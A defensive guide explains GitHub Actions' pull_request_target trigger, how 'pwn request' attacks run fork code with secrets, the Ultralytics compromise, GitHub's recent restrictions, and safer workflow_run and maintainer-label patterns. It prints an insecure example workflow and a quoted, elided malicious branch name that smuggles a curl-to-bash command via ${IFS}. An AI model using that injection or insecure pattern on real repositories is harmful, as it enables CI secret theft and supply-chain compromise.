What pull_request_target runs with, and how to use it without a pwn request
pull_request_target runs the workflow from your default branch with your secrets and a read/write GITHUB_TOKEN, even for a pull request from a fork, which is safe only as long as nothing from the pull request is executed. Checking out the pull request head and then building or testing it is the "pwn request": the fork's code runs with your credentials.
You want CI on pull requests from forks, and some of it needs a secret: a private registry, a coverage upload, a comment on the pull request. pull_request withholds secrets from forks, so pull_request_target looks like the fix. It is the trigger the Ultralytics and Nx compromises ran through, and GitHub has spent 2025 and 2026 putting guard rails around it.
In order: what the trigger runs with, how a pwn request works step by step, the Ultralytics incident from the primary write-ups, what GitHub changed and what those changes do not cover, and the two patterns that hold up.

What each trigger runs, and with what
The difference is where the workflow file comes from and what it is given. pull_request runs the workflow from the pull request's merge commit, which a fork controls, so GitHub gives it a read-only token and no secrets. pull_request_target runs the workflow from the base repository's default branch, which you control, so GitHub gives it everything. GitHub's workflow syntax reference states that its GITHUB_TOKEN "is granted read/write repository permission, even when it is triggered from a public fork."
workflow_run belongs in the same row. It also runs from the default branch, and the events reference says it "is able to access secrets and write tokens, even if the previous workflow was not."
| Trigger | Workflow file from | GITHUB_TOKEN for a fork | Secrets for a fork | Cache |
|---|---|---|---|---|
pull_request | The pull request merge commit | Read-only | None | Writes stay in the pull request's merge ref |
pull_request_target | The default branch | Read/write | Repository and organization secrets | Default branch scope, read-only |
workflow_run | The default branch | Read/write | Repository and organization secrets | Default branch scope, read-only |
The pwn request, step by step
GitHub's own example is four lines. The checkout alone runs nothing; the next step does. make test executes the Makefile the fork supplied, in a job holding your token and secrets. Any command that reads the checkout counts: npm install runs lifecycle scripts from the fork's package.json, a test runner loads its config, a linter loads plugins. GitHub's guidance is that the checked-out code must be "only ever inspected as data and never executed".
The same shape appears without actions/checkout: setting repository: to the fork, git fetch or gh pr checkout of the pull request ref, or downloading an artifact a fork's pull_request run uploaded and running what is in it.
# INSECURE. GitHub's example, shown so you can recognize it.
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Test
run: make testUltralytics, December 2024: a branch name as the payload
The ultralytics Python package had a formatting workflow on pull_request_target. It called the project's own composite action, which ran git pull origin ${{ github.head_ref || github.ref }} in a shell step. William Woodruff's analysis traces the injection to that line: pull request #18020 had a branch name that was itself a shell command, built with ${IFS} in place of spaces, and it ran when the action spliced the name into the script, inside the privileged context.
Releases 8.3.41 and 8.3.42 were then published through the project's normal release workflow, and issue #18027 reported that 8.3.41 "will unknowingly execute an xmrig miner." Woodruff concludes the evidence "very strongly suggests that the attacker used a poisoned cache" to reach the release build. PyPI's analysis adds that 8.3.45 and 8.3.46 were uploaded directly with "an unrevoked PyPI API token that was still available to the GitHub Actions workflow".
No head checkout was involved. The pull request supplied a string instead of a Makefile, which is the same mistake: fork-controlled data executed with your credentials. Script injection covers that half.
# from ultralytics/actions action.yml, as quoted in the analysis
git pull origin ${{ github.head_ref || github.ref }}
# the malicious branch name of #18020, as the analysis prints it (elided)
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/...${IFS}|${IFS}bash)What GitHub changed in 2025 and 2026
Four changes now sit between a pwn request and your secrets. None of them replaces reading the workflow, and each has a gap worth knowing.
Refusing to check out fork pull request code from a 'pull_request_target' workflow. This workflow runs with the base repository's GITHUB_TOKEN, secrets, default-branch cache scope, and runner access. Fetching and executing a fork's code in that trusted context commonly leads to "pwn request" vulnerabilities. To opt in, review the risks at https://gh.io/securely-using-pull_request_target and set 'allow-unsafe-pr-checkout: true' on the actions/checkout step.| Change | Since | What it does not cover |
|---|---|---|
| Workflow file and default checkout always from the default branch; environment branch rules evaluate against it | December 8, 2025 | Anything the workflow on the default branch chooses to fetch |
actions/checkout refuses fork pull request code in pull_request_target and workflow_run unless allow-unsafe-pr-checkout: true | v7.0.0 | Workflows pinned to v6 or older; git fetch, gh pr checkout, downloaded artifacts; branches in your own repository |
pull_request_target, issue_comment, workflow_run and other untrusted triggers get read-only access to the default-branch cache | June 26, 2026 | Jobs that declare a write-capable cache-mode, and anything the job restores |
A default Actions policy blocks pull_request_target in public repositories | Enforced December 2, 2026, after brownouts on November 9 and 16 | Private and internal repositories, GitHub Enterprise Server, and any repository whose policy allows the event |
Safe pattern: split the work with workflow_run
GitHub Security Lab's fix, published in 2021 and updated in 2026, is two workflows. The first runs on pull_request, builds and tests the fork's code with no secrets and a read-only token, and writes its results to an artifact. The second runs on workflow_run with the permissions it needs, downloads the artifact and acts on it as data. Its rule for the second half: "Artifacts resulting from untrusted PR data are themselves untrusted."
So validate every field before you use it. A fork can edit pr-build.yml itself, because pull_request runs the workflow from the merge commit, so the number in the artifact is whatever the fork wants it to be. Below it must be digits, and the report is posted as a comment body, never executed or sourced.
# .github/workflows/pr-build.yml
name: pr-build
on: pull_request
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- run: make test > report.txt 2>&1 || true
- env:
PR: ${{ github.event.number }}
run: echo "$PR" > pr-number.txt
- uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: pr-result
path: |
report.txt
pr-number.txt
# .github/workflows/pr-comment.yml
on:
workflow_run:
workflows: [pr-build]
types: [completed]
permissions:
actions: read
pull-requests: write
jobs:
comment:
runs-on: ubuntu-24.04
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
name: pr-result
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ github.token }}
- env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
run: |
pr=$(cat pr-number.txt)
[[ "$pr" =~ ^[0-9]+$ ]] || { echo "bad PR number"; exit 1; }
gh pr comment "$pr" --body-file report.txtWhen you must run fork code with secrets: a maintainer label
Some jobs genuinely need fork code and a secret together, such as an integration test against a private service. GitHub Security Lab's fallback is to run only when a maintainer applies a label such as safe to test, and it names the weakness itself: the check "is still prone to a race condition" because the author can push after the label is applied. Treat it as temporary.
Three things narrow that race. Trigger on the labeled event only. Check out github.event.pull_request.head.sha, the commit in that event's payload, rather than the branch, so a later push does not change what runs. And put the secret in an environment with required reviewers, so a person approves the specific run. On checkout v7 this also needs allow-unsafe-pr-checkout: true, which is the line a reviewer should look for, and from December 2, 2026 a public repository also needs an Actions policy that allows the trigger.
on:
pull_request_target:
types: [labeled]
permissions:
contents: read
jobs:
integration:
if: github.event.label.name == 'safe to test'
runs-on: ubuntu-24.04
environment: fork-integration # required reviewers, holds the secret
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha }}
allow-unsafe-pr-checkout: true
persist-credentials: false
- run: make integration-test
env:
SERVICE_TOKEN: ${{ secrets.SERVICE_TOKEN }}Key takeaways
pull_request_targetgives fork pull requests your secrets and a read/write token; it is safe only while nothing from the pull request executes.- The pwn request is checkout plus any command that reads the checkout:
make,npm install, a test runner, a linter. - checkout v7 refuses fork pull request code in privileged triggers, but not
git fetch,gh pr checkout, artifacts or older pins. - Public repositories have
pull_request_targetblocked by default from December 2, 2026 unless a policy allows it. - Split builds and privileged actions with
workflow_run, and treat the artifact as untrusted data.
Frequently asked questions
Why can't my GitHub Action comment on a pull request from a fork?
pull_request run from a fork gets a read-only token whatever its permissions block asks for, so the comment call is refused. Do not switch to pull_request_target with a checkout to get the write back: use the workflow_run split above, where the build writes its report to an artifact and a second workflow posts it. The side-by-side of the two triggers is in GitHub Actions security, and the 403 itself on GITHUB_TOKEN read-only on fork pull requests.Why are secrets not available in my workflow on a pull request from a fork?
GITHUB_TOKEN, secrets are not passed to workflows triggered from forks. Switching to pull_request_target to get them is how most pwn requests start. Use the workflow_run split instead; the details are on secrets empty in fork pull requests.Will GitHub block pull_request_target workflows?
Is it safe to use pull_request_target if I do not check out the pull request?
run: is still code the author wrote, which is exactly how the Ultralytics compromise worked. Keep the token permissions minimal and pass every pull request field through an environment variable.Related guides
References
- GitHub Docs: Securely using pull_request_target (read 2026-11-12)
- GitHub Security Lab: Preventing pwn requests
- GitHub Changelog: pull_request_target blocked by default December 2
- William Woodruff: the Ultralytics injection, step by step
- PyPI Blog: supply-chain attack analysis, Ultralytics
- GitHub Actions documentation